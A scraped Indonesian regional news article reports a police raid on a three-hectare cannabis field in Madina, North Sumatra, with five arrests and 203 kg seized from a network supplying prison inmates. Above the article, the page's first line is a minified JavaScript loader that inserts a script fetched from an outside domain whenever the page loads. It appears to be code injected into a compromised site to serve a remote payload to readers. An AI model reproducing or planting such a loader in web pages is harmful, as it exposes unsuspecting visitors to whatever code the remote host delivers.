(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Kejar Buronan Hingga ke Sumut, Bareskrim Temukan 3 Hektare Ladang Ganja


KANALKALIMANTAN.COM, MEDAN – Direktorat Tindak Pidana Narkoba (Dittipidnarkoba) Bareskrim Polri memusnahkan ladang ganja seluas tiga hektare di Pegunungan Torsipira Manuk, Desa Pardomuan Hutatua, Kecamatan Panyabungan Timur, Kabupaten Madina, Sumatera Utara. Sebanyak lima tersangka ditangkap dalam pengungkapan kasus tersebut.

Dirtipidnarkoba Bareskrim Polri Brigjen Pol Krisno Holomoan Siregar menuturkan pengungkapan kasus kepemilikan ladang ganja ini berawal ketika pihaknya melakukan pengintaian terhadap tersangka yang berperan sebagai kurir yakini Roy Anggara (37) dan Franky Alexander (38) saat hendak mengambil ganja dari tersangka Mukri (43).

Tersangka Franky sendiri diketahui merupakan narapidana narkoba yang melarikan diri dari Lapas Muaro Padang tahun 2018 lalu.

“Saat dilakukan pengejaran, Roy menabrak mobil tim dan kabur meloncat ke sungai dengan ketinggian tebing 10 meter. Selanjutnya, tim mengamankan ganja di dalam mobil Roy sebanyak tujuh karung berisi 203 kilogram ganja,” kata Krisno kepada wartawan, Selasa (8/12/2020).

 

Selanjutnya, mereka melakukan pengejaran terhadap asal muasal ganja tersebut. Hingga akhirnya menangkap tiga orang tersangka yakni Mukri selaku petani, pemilik ladang ganja, pengepul dan pengendali. Kemudian, Abdul Rahman (38) pengelola keuangan, dan Cakana Rangkuti (29) petani.

“Tersangka Mukri merupakan pengepul ganja dari peladang lainnya sekaligus pemilik ladang,” ujar Krisno.

Dalam pengungkapan kasus ini, Krisno menyebut pihaknya berhasil mengamankan 10 ribu tanaman ganja di ladang seluas tiga hektare.

“Luas tiga hektare dengan 10 ribu tanaman ganja ukuran tinggi tiga meter, 1 meter, 60 sentimeter, dan 30 sentimeter,” bebernya.

Adapun, berdasar hasil penyelidikan diketahui pula bahwa Mukri Cs merupakan jaringan yang kerap memasok ganja ke narapidana di empat lapas di Sumatera Barat. Setiap dua pekan sekali mereka diprakirakan biasa memasok ganja hingga 200 kilogram.

“Jaringan ini memasok ganja untuk napi di empat lembaga pemasyarakatan di Sumatera Barat sebanyak 100-200 kilogram setiap dua minggu,” pungkasnya. (suara.com)

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.